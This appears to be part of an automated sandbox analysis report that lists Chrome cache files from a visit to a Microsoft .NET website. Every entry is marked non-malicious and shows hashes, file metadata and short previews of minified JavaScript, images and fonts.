SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 90 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.449879008348726
Encrypted:	false
SSDEEP:	12:6v/7QqgE9umo7WRy2wKFlOdqXYOm4jHgzkV0PGWYSIiYfb5Pa:kGmiKyRIXYd4jHggCGcIiiy
MD5:	7035F9BBFAE08939EBDA03D9C2CDD905
SHA1:	DE95E112E30100A1FFA009C1F463A6C2F7A56550
SHA-256:	9E6394F8EEAC201A8BAC23608D3CDA3A74D6CF623A56348E482D0897D7B97189
SHA-512:	1CFD40113523DBABB5309FCE439FE17A8CE9F597C61FB44EF041C63F661F5C31B6DF85F16225C699E5CB17F90B8C79503ED812F458A529E445C4DA78337CE3E0
Malicious:	false
Preview:	.PNG........IHDR...Z...2........5...SIDATx..?K.@.....:99tpp....8(.V.....\.N..vr.]...AD.AA.V....,...[..W).K.$.?M....M....%..]"..........^.4.S.G.0J"..-E.A.Q.w...)..ef....9<..........j..O.I.....62...E...........o.o.s.......D..er.}.\|h34.&..W.E7]...6W).)...8g....h&..b.c.\|].)..k ...%.;.D.....B.lTE.W.U..V..lTDWI....D..-..A....rk.v/:%&.\|a..5D{....(r...:")Z.B>.r.',..n...l.(z;....u..:`.;q..f.....:.q@....b.....b`\. ....E.,.%YUN.....M.'..7~....Q4..}I.X.\..$!.h.o.."I..Gk..u...s..X...FG(.(.9.u..z.v[M}.u(6/E.<.I...u+.A.wF..N...d.ztN..>...W.mf{~o.u.H.f...]q#.....D....V.. .Z.g..N....c.n.j..bq.-.._o..HE'.................',.N......IEND.B`.

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5219)
Category:	dropped
Size (bytes):	40844
Entropy (8bit):	5.347322172502906
Encrypted:	false
SSDEEP:	768:BmDgg7rVYGSntXrwIj6aGL/QApN2Yr2roYd08WYikXPvXRQEr:Dlnu7UA/FYdrWYikXnXRQEr
MD5:	4B70D277891137402DC7152EEC28B6E3
SHA1:	60C13470BF0E1681399FE910C4D6835E51757811
SHA-256:	4A2A7764CC3F4F68D97BB59E2F67132370226B04390FE6E6F0D9239B96ADCF8F
SHA-512:	D1BC252848A5A658FD17B6A39A4575955571E36FB6C2A95476D1F97685D6AC8027340D2AF0A93F87253118E67275FD420FA0F952AAEB272D88CC7692FB19CD1F
Malicious:	false
Preview:	(function(){window.parent!=window&&(window.lightningjs\|\|function(d,f){var e=d.lightningjs={modules:f.modules},r=f.modules;e.expensive=function(b){b._waitforload=!0;return b};void 0;e.require=f.require;e.provide=function(b,l){function m(){var a=d.console;if(a&&a.error)try{a.error.apply(a,arguments)}catch(c){}else if(d.opera)try{d.opera.postError.apply(d.opera,arguments)}catch(c){}}function f(a){var c=a[0],k=a[1],b=0<k?p[k]:l,f=Array.prototype.slice.call(a[2]),h=f.shift();a=g._.fh[c]=g._.fh[c]\|\|[];.k=g._.eh[c]=g._.eh[c]\|\|[];g._.ph[c]=g._.ph[c]\|\|[];if(b){if(b=b[h])try{var d=b.apply(b,f)}catch(n){var e=n}else e=Error("unknown deferred method '"+h+"'"),m(e.toString());d&&(p[c]=d);if(e){for(;k.length;){c=k.shift();try{c(e)}catch(n){m(n)}}k.push=function(a){a(e)}}else{for(;a.length;){c=a.shift();try{c(d)}catch(n){m(n)}}a.push=function(a){a(d)}}}else m("cannot call deferred method '"+h+"' on 'undefined'")}function t(){for(var a=h.shift();a;){if(u)var c=!1;else{var b=a[1];c=0<b?p[b]:l;var e=Arr

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1676)
Category:	downloaded
Size (bytes):	1754
Entropy (8bit):	5.270268028924088
Encrypted:	false
SSDEEP:	48:QNd4Vo91CEHyF8RSojDL7maUJ9DYpXBc1B+XLf:FgNcoXZy+D
MD5:	A7D39D299EDE945B34EBB570580D6686
SHA1:	A1D32E04C5A0D72978DBB6AE531CEB9EF319E225
SHA-256:	E84D57BF859A256815362F36A4FF7F5EE6BA1DCFD02D8AC02673353FDD0A0FF1
SHA-512:	C6A619DCD8B7E07D5491C9963A89F4FCC9D48E3FB14DBAC57F0470988B48EB378224966B094C3CDBFF4689674C49D6FD51FD0EC6C031D6902F8F2BC9154D4355
Malicious:	false
URL:	https://dotnet.microsoft.com/static/js/culture-selector.min.js?v=mcD2sjpKkPOr9l_l-eyAH9oHE6yzuSTGpr7HFwC7M28
Preview:	/! For license information please see culture-selector.min.js.LICENSE.txt /.(()=>{"use strict";function e(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)e[r]=n[r]}return e}var t=function t(n,r){function o(t,o,i){if("undefined"!=typeof document){"number"==typeof(i=e({},r,i)).expires&&(i.expires=new Date(Date.now()+864e5*i.expires)),i.expires&&(i.expires=i.expires.toUTCString()),t=encodeURIComponent(t).replace(/%(2[346B]\|5E\|60\|7C)/g,decodeURIComponent).replace(/[()]/g,escape);var c="";for(var u in i)i[u]&&(c+="; "+u,!0!==i[u]&&(c+="="+i[u].split(";")[0]));return document.cookie=t+"="+n.write(o,t)+c}}return Object.create({set:o,get:function(e){if("undefined"!=typeof document&&(!arguments.length\|\|e)){for(var t=document.cookie?document.cookie.split("; "):[],r={},o=0;o<t.length;o++){var i=t[o].split("="),c=i.slice(1).join("=");try{var u=decodeURIComponent(i[0]);if(r[u]=n.read(c,u),e===u)break}catch(e){}}return e?r[e]:r}},remove:function(t,n){o(t,"",e({},n,{expires

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 216, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	7.81590072861383
Encrypted:	false
SSDEEP:	48:ljbOwLsMonBFgWMfKI7N57QERjEE7Y9WJmLTN70Wyj1BhO09dbb5:5qSABrMyERjEE7Y9WJ0yWy00jb1
MD5:	BD8EDD6AEE4A2CDD05BC7F6ED668F1D6
SHA1:	C40D632F8A7000A0AB0DAE9D6B5109FCA259CF98
SHA-256:	9A784125893B64586EEACFBF714AAF1E4704807F5B6BAAA23DB4920E27212653
SHA-512:	C708134C14ACEA7371E913BA75F948FCFCAB0976CFB89460AD98A8E79AFC2F252F66F4749BAB9D61D34B821AC550B1C97FF07D5248CE0859947FD1697A822CAE
Malicious:	false
Preview:	.PNG........IHDR...@.........l.......gAMA......a.....sRGB.........PLTELiqQ+.R).N'.P+.Q+.Q+.Q+.U9.Q+.Q+.Q+.Q+.I$.Q+.S,.U/.Q+.Q+.` .Q+.S+.Q+.R+.R+.Q+............{.............R,........\|.....\|.S-..................V2.Z6.......rT.Y5.dB........w..........]:.....................Y4....[7...U0.g....xZ.jJ.t.\8.W2.V1.p.......vX.mM.`=........R-.uW.........a?...a>.......]9...iH.......................h..^;.tU.......}`.........T..T/...........z..lL..........eD....\|_._<.....w................sU.d.X3........d.nN......rS.pP..........y\......l.z].....r.........wZ...........gF.y._<.......fE.[7.......................tV.......x.s..r....oP.cA.............i.eC.{_.lK....kK....u.......j..nO....wY.~b.........e......\|B.7....tRNS.............H......G.......3IDATh...W.W..W.`.....Yz.}.M.w......... X.k.1.&...cK....?..]..YQ..;'................P...]..#.p...\!`..q....;..X..n..c....c86.....2..0.c.Lqc.L......I.....7V.'.d.....z

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	dropped
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65467)
Category:	downloaded
Size (bytes):	173512
Entropy (8bit):	5.257966891981755
Encrypted:	false
SSDEEP:	1536:M/5yO7NemMJezP6LW0oiSNdKIcYVXAhoWvjDG3/GQLn95JxsZgtPQLY9f3zkdP2D:MxRchLW9fNSYWvI1eef3zAfRU6NaOm
MD5:	49B237E0E1B4D7F8E79EEF67DF8FC31B
SHA1:	E84B25D606A998921900C18808AC1C1A727A0640
SHA-256:	C935DCC9F529F434237F4B507263236CD1FE9EE650735946A55A7F0C4F366018
SHA-512:	0C22D53148B3CA147F69E47AD156E906B7A7D5CBEA402B3C77A37F42C5ABDC060ADD4C6B6C56066893AA6B67AF461B9ACA1D43ED7F1243ACF28DF225A7D7B343
Malicious:	false
URL:	https://dotnet.microsoft.com/static/js/general.min.js?v=F8IRjdt-e6ILrPwh-6HqZfXtNkuyXy4by_5lrJWUX_Y
Preview:	/! For license information please see general.min.js.LICENSE.txt /.(()=>{var e={4134:(e,t,n)=>{var i=n(4692),r=n(4552);void 0===r.$&&(r.$=i),void 0===r.jQuery&&(r.jQuery=i),e.exports=i},5134:(e,t,n)=>{var i=n(2754),r=n(4552);void 0===r.bootstrap&&(r.bootstrap=i),void 0===r.default&&(r.default=i),e.exports=i},4552:(e,t,n)=>{"use strict";function i(e){return i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i(e)}e.exports=function(){if("object"===("undefined"==typeof globalThis?"undefined":i(globalThis)))return globalThis;var e;try{e=this\|\|new Function("return this")()}catch(e){if("object"===("undefined"==typeof window?"undefined":i(window)))return window;if("object"===("undefined"==typeof self?"undefined":i(self)))return self;if(void 0!==n.g)return n.g}return e}()},3685:function(e,t,n){var i,r,o;function a(e){return a="function"==typ

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 14468, version 1.1
Category:	downloaded
Size (bytes):	14468
Entropy (8bit):	7.96403918192645
Encrypted:	false
SSDEEP:	384:gPy+cOhVcBhNgpqUwxpI4cwnXqxObrW0O59PT1OLQOzvcm:kcKVcB8ipzcwan75lTELQevcm
MD5:	FB5F83292285A6093AFB08BE02F991DF
SHA1:	3B3A948DB8EAA56DED85E7F9863A0A874E53431C
SHA-256:	3A5243905E26FDF1DAC86E9EC09AE3937A59C933B48015562C366718D9C72E39
SHA-512:	75404FBD1B395BF9624CCB3069D235078445FABBE4258110269AFC2E5B5C21B2897898FBB35CAEC82EDAE134FEEA96253AFB424ADB831EC6C6A55E03245CE499
Malicious:	false
URL:	https://dotnet.microsoft.com/static/fonts/space-grotesk-v12-latin-700.woff
Preview:	wOFF......8.......p.........................GDEF...l.........{.hGPOS.......... 8-..eGSUB...........\|....OS/2.......N...`.H..STAT.......&...y.kIcmap...........F.\|E}gasp................glyf......"...>^...Qhead..2l...6...6....hhea..2.... ...$.].Ghmtx..2....L...x7.-.loca..5.......>d'T9maxp..7<....... ./..name..7X.......f9.V#post..8h....... ...2prep..8\|........h...x...A.P...{.w..w...R2.>G.` Z2.D.H...D1./......b..!..=....t#........._5....-..b..c...{R.,..._]CS+sbX.-...F..(FMJ.....A..A.m`.00..0.....t.....x.L.%T.`../.w..5/........'Qp..'-..$....&yyu{.."..A1.5G.....j...=hC........\..j 2...`0...fF.-..\|.Z6h.z...."W..?[9.....].(..>m.Q....8W>.K.. .aL..0<M........[..GRXJ%....T.j.v..)NZ.w..qF.F.yR...SH/.A&P.b..4..0.......V...(.>.............X+jU...UUkU.X+bE.........k..3.I...H..&'.9...s...z .....A.... .....A$1......'.9..6.#....T5.g..y.[....sn.~.=2Y..>GDj...?.I1,.C..:\..)...h......J..qpy\^..{.8Q....8-.c....k.L..;Y.2$e@.Z8..C.._........w.<(+..fx.....~..^...?..S

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1222), with no line terminators
Category:	dropped
Size (bytes):	1222
Entropy (8bit):	5.002054903999145
Encrypted:	false
SSDEEP:	24:98HGJ4MDZNZQRW5T4cQg9XaMiIaj/pKHXB+AkpR2e9NCMtIpM2RWrW4KSJRmz//9:CGBDZDQw5T4cJnaDpq+AyQefrGw64KS8
MD5:	161BEA441F22D9BE0846874622291A7B
SHA1:	83E53E33EA0FF04B3326551D6A274897ED22CB0F
SHA-256:	01F02C8B9BB442A5394554E14D53492112FA09671E7A226BC7B3FC23E3B62549
SHA-512:	553F8B1C154A1520EF29E0AA25E4D994CBF4EB26244FF86E0174E1787DFACF7604E6DD3A309263B372D36597F0641F448ACB4F63F34D3321B0ACE6576E6CB09B
Malicious:	false
Preview:	(()=>{"use strict";var t,e=function(t){"undefined"!=typeof analytics&&analytics.isInitialized()?analytics.capturePageAction(null,t):setTimeout((function(){return e(t)}),2e3)};t=function(t){for(var e=document.getElementsByClassName(t),n=0;n<e.length;n++){var i=e[n];i.classList.contains("block")&&(i.classList.add("hidden"),i.classList.remove("block"),i.parentNode.querySelector(".split-button").setAttribute("aria-expanded","false"))}},document.activeElement.addEventListener("keyup",(function(e){27==e.keyCode&&t("split-button-menu")})),window.recordDownload=function(t,n){e({behavior:"DOWNLOAD",actionType:"CL",contentTags:{dlnm:t,dlid:n}})},window.splitButton=function(t){var e=t.parentNode.nextElementSibling;e.classList.contains("hidden")?(e.classList.remove("hidden"),e.classList.add("block"),t.setAttribute("aria-expanded","true")):(e.classList.add("hidden"),e.classList.remove("block"),t.setAttribute("aria-expanded","false"))},window.onclick=function(e){e.target.matches(".split-button")\|\|t(

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1340 x 350, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	8309
Entropy (8bit):	7.852895497418519
Encrypted:	false
SSDEEP:	192:HdU6WfnGgj1WJdPDvA2y1vI+fCcW4emsDvmhO:HdUjfmd3YvbCcW45sShO
MD5:	DC099A08698B27538C2AAB9D1A1D3AE3
SHA1:	647DF5E18EB6D34A5ED26535E1008A6CCD0BF904
SHA-256:	B71BCD5000ECEADAAA5C1BD9B893F33E7BFBC97C1FF5F627CA2453081D2C1B40
SHA-512:	C32522FB3D885E1C8E482AE31CB47A5C1C18A7888D898AF79785B07D5E5B244F70C3DDE3D24FBAA07F9BCFACC0BECA76E747B5590809AFED5137605D1D1A2A3C
Malicious:	false
URL:	https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-sprite-dc099a08698b27538c2aab9d1a1d3ae3.png
Preview:	.PNG........IHDR...<...^......> .....gAMA......a.....sRGB.........PLTELiq.._..d..d..d..d.............c..d..c..b..d..d..d..e..d..d..d..c..d..d..;.....c..d..d....d..c..c..c.....c..d...........b..e..d..d..d........e..d..e..b..d.....d...Q+...cQ+.P-.P+...d.....d.....d..dP+......dP+..........Q+...d..c..d......Q+...dQ+.Q......dR'.s.lL.......Q+...d..d..d......Q+...d....Q+...dQ/.............P+...dR+.u...b.............d...........q..c.....b........d...Q+.....!!......U[n................uC..............c.........r>......A6#X3.................Q...H<&...R+.....b...>4".......X7.?-.x@(#.....x.4-.sV.t.zc7...eE......a..]<..H.'#.S..N.[..K..........-&........\.J1.zEkW2.....H...d;..........UQC)^M...J..L.........Y..^.......^.I.O..E.....o<.l?..=............o.X[asty.....Z..........Mdh}....w.STN......WR9...e......SG...........\|tRNS..@......4.............H..>...U.xYqz.e.Fr.i..fV9"....M.3~....r....T....^....a.F.Z....C.D..B...x.o..~...;.....+..A.............IDATx....K.y...9e.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 216, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2174
Entropy (8bit):	7.81590072861383
Encrypted:	false
SSDEEP:	48:ljbOwLsMonBFgWMfKI7N57QERjEE7Y9WJmLTN70Wyj1BhO09dbb5:5qSABrMyERjEE7Y9WJ0yWy00jb1
MD5:	BD8EDD6AEE4A2CDD05BC7F6ED668F1D6
SHA1:	C40D632F8A7000A0AB0DAE9D6B5109FCA259CF98
SHA-256:	9A784125893B64586EEACFBF714AAF1E4704807F5B6BAAA23DB4920E27212653
SHA-512:	C708134C14ACEA7371E913BA75F948FCFCAB0976CFB89460AD98A8E79AFC2F252F66F4749BAB9D61D34B821AC550B1C97FF07D5248CE0859947FD1697A822CAE
Malicious:	false
URL:	https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-button-bd8edd6aee4a2cdd05bc7f6ed668f1d6.png
Preview:	.PNG........IHDR...@.........l.......gAMA......a.....sRGB.........PLTELiqQ+.R).N'.P+.Q+.Q+.Q+.U9.Q+.Q+.Q+.Q+.I$.Q+.S,.U/.Q+.Q+.` .Q+.S+.Q+.R+.R+.Q+............{.............R,........\|.....\|.S-..................V2.Z6.......rT.Y5.dB........w..........]:.....................Y4....[7...U0.g....xZ.jJ.t.\8.W2.V1.p.......vX.mM.`=........R-.uW.........a?...a>.......]9...iH.......................h..^;.tU.......}`.........T..T/...........z..lL..........eD....\|_._<.....w................sU.d.X3........d.nN......rS.pP..........y\......l.z].....r.........wZ...........gF.y._<.......fE.[7.......................tV.......x.s..r....oP.cA.............i.eC.{_.lK....kK....u.......j..nO....wY.~b.........e......\|B.7....tRNS.............H......G.......3IDATh...W.W..W.`.....Yz.}.M.w......... X.k.1.&...cK....?..]..YQ..;'................P...]..#.p...\!`..q....;..X..n..c....c86.....2..0.c.Lqc.L......I.....7V.'.d.....z

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (51067)
Category:	downloaded
Size (bytes):	51103
Entropy (8bit):	5.2052345984836235
Encrypted:	false
SSDEEP:	1536:t64rS74rE64rS74rsqGKTmGjgEojgszrWKr+zrWKrC:BqPaGu
MD5:	24A5B93B0FAD21FF3EE2913DEA782761
SHA1:	04FF05DB35B6A27C6415632B84D7B3A1F6BD2F54
SHA-256:	323C0988221AA039B2EC9579185C09173357C47E07631559E2C304A6690E14F0
SHA-512:	25976708593302D232EFC347CF11BD364EEA8D29887745608DFCF9966DF36AE7F261F9CBC458BC3290709BF6BC5D1CE8C9322B75D000FF67EE87D276FD0ABBD3
Malicious:	false
URL:	https://d6tizftlrpuof.cloudfront.net/live/campaign/js/24a5b93b0f.poll.js
Preview:	!function(n){function e(a){if(t[a])return t[a].exports;var o=t[a]={i:a,l:!1,exports:{}};return n[a].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var t={};e.m=n,e.c=t,e.d=function(n,t,a){e.o(n,t)\|\|Object.defineProperty(n,t,{configurable:!1,enumerable:!0,get:a})},e.n=function(n){var t=n&&n.__esModule?function(){return n.default}:function(){return n};return e.d(t,"a",t),t},e.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},e.p="scripts/",e(e.s=218)}({13:function(n,e){function t(n){var e="?"===n.charAt(0)?n.substring(1):n,t=e.split("&"),a={};return angular.forEach(t,function(n){var e=n.split("="),t=decodeURIComponent(e.shift()),o=decodeURIComponent(e.join("="));a.hasOwnProperty(t)?(angular.isArray(a[t])\|\|(a[t]=[a[t]]),a[t].push(o\|\|"")):a[t]=o\|\|""}),a}n.exports=t},14:function(n,e){function t(n,e){var t={};return Object.keys(n).forEach(function(a){0===a.indexOf(e)&&(t[a.substring(e.length)]=n[a],delete n[a])}),t}n.exports={extractFields:t}},17:function(n,e){function t(){va

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	35
Entropy (8bit):	2.9889227488523016
Encrypted:	false
SSDEEP:	3:CUdrllHh/:HJ/
MD5:	28D6814F309EA289F847C69CF91194C6
SHA1:	0F4E929DD5BB2564F7AB9C76338E04E292A42ACE
SHA-256:	8337212354871836E6763A41E615916C89BAC5B3F1F0ADF60BA43C7C806E1015
SHA-512:	1D68B92E8D822FE82DC7563EDD7B37F3418A02A89F1A9F0454CCA664C2FC2565235E0D85540FF9BE0B20175BE3F5B7B4EAE1175067465D5CCA13486AAB4C582C
Malicious:	false
URL:	https://w.usabilla.com/a/t?m=c&b=71e348d38aa1&c=47b85342850e&e=a&cb=1732392702680
Preview:	GIF89a.............,...........D..;

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28902)
Category:	downloaded
Size (bytes):	28968
Entropy (8bit):	5.322762414327222
Encrypted:	false
SSDEEP:	768:OZ7yPTLT+0SwPOisxsBa6Ql2G7se0COJq6i8QCYhNbwKCzgR6+Rc/oFhjdVdFA:OZ7yL+0SwPOisxsBa6w2G7seKCgSdV3A
MD5:	04C2CA734698650A1167272BD37C27A5
SHA1:	6E80A70999DEFA4CB58EA6912D284B29D0E5C91B
SHA-256:	A31622B70C4F59D1E77957BFADDB3D9EFF8936AF8DC1BC7E155086F38C72F761
SHA-512:	509689E9BA9B245C5926769F2265BEBA06465C1DA53E917B5D6B6796BCEF555BD23CD00370435ECBAE10824EF46B607542EA9F14941AFCCB7C4D5CEF5D7ECFB7
Malicious:	false
URL:	https://dotnet.microsoft.com/static/js/main.min.js?v=JTXjSTLeQEf2HpRn_VGoah8uOwqnbFRmJTgpqsIm-Gg
Preview:	/! For license information please see main.min.js.LICENSE.txt /.(()=>{var t={8791:(t,e,n)=>{function i(t){return i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},i(t)}t=n.nmd(t),function(e){var n=function(t,e,n){"use strict";var i,o;if(function(){var e,n={lazyClass:"lazyload",loadedClass:"lazyloaded",loadingClass:"lazyloading",preloadClass:"lazypreload",errorClass:"lazyerror",autosizesClass:"lazyautosizes",fastLoadedClass:"ls-is-cached",iframeLoadMode:0,srcAttr:"data-src",srcsetAttr:"data-srcset",sizesAttr:"data-sizes",minSize:40,customMedia:{},init:!0,expFactor:1.5,hFac:.8,loadMode:2,loadHidden:!0,ricTimeout:0,throttleDelay:125};for(e in o=t.lazySizesConfig\|\|t.lazysizesConfig\|\|{},n)e in o\|\|(o[e]=n[e])}(),!e\|\|!e.getElementsByClassName)return{init:function(){},cfg:o,noSupport:!0};var r=e.documentElement,a=t.HTMLPictureElement,s="add

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 16756, version 1.0
Category:	downloaded
Size (bytes):	16756
Entropy (8bit):	7.9855903695422095
Encrypted:	false
SSDEEP:	384:cIlJSYgEmK1DlskYEkml1XQGsK475GLNH/7OqQVY3HWwAlTP:cIlJSGmtkRkml5QBKn/6q4wAJ
MD5:	603C99275486A11982874425A0BC0DD1
SHA1:	FFEB62D105D2893D323574407B459FBAE8CC90A6
SHA-256:	4FFC35AC4D5E3F1546A4C1A879F425F090FF3336E0FCE31A39AE4973B5E8C127
SHA-512:	662DC53798CCDA65EE972A1BB52959CA5F4C45066C1D500C2476C50EC537CB90A42D474D7DDE2BEC1EA8C312CC4A46E1D91FFB610130C2DC7914B65AEF8A2615
Malicious:	false
URL:	https://dotnet.microsoft.com/static/fonts/open-sans-v34-latin-600.woff2
Preview:	wOF2......At......{...A..........................b. ..P.`?STATZ.....\|........t..m.....6.$..8. ..&. .....k....n...Z...a. D..o..6...........3.... Xv]..D..4..7.63..( .qa3m...].1...q.n.0...kM.Q!D.P.....P.7..%...X..~d....v^on....l&..q.E..~.ba1pj.uy....K.....O...;.[u.L..r4TGh......B&....ad...k.v.h..+.RV.F-..........?.RXD.R,.k..h.,.f.....s....(..RR....`..(..v..Ng...E{].W.o.....`....f6J....~.}..Q$.G....{m..K.{`.......=@........{..8.r.\|.{CS.{..........;C=....3.U. vhIS..C.<...d.r...Ko.....E...63i...!@.O.........@G..5.lg.vA${.........(.]..1.X4...s,....7.5~...\|.....yv..F....s.EX.V .@...`..R6mi.7../..6..7..\|M.-.3s..4.^..M..Jr.....h.............E]..U]U.Uj.^u.4+.....0c.~.j.@......$/...Y...1....Q\|A..@........C]...%..i.......&..}!.E..i.O...v&.0<.1L.8.l..2.-I.s.UT.K.uO...:..0..a..<...al...b.n..B.1..`....-.)..+.>.........nT....m"..v..59'.=1......~.`2........Q`.(.1$..]=~K{U.."G.....Q..... e.-.+........cD+...~F.LA..ON..(.p8. .^.C.....N*NL........`U.;x.Y...6T..!1

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138067
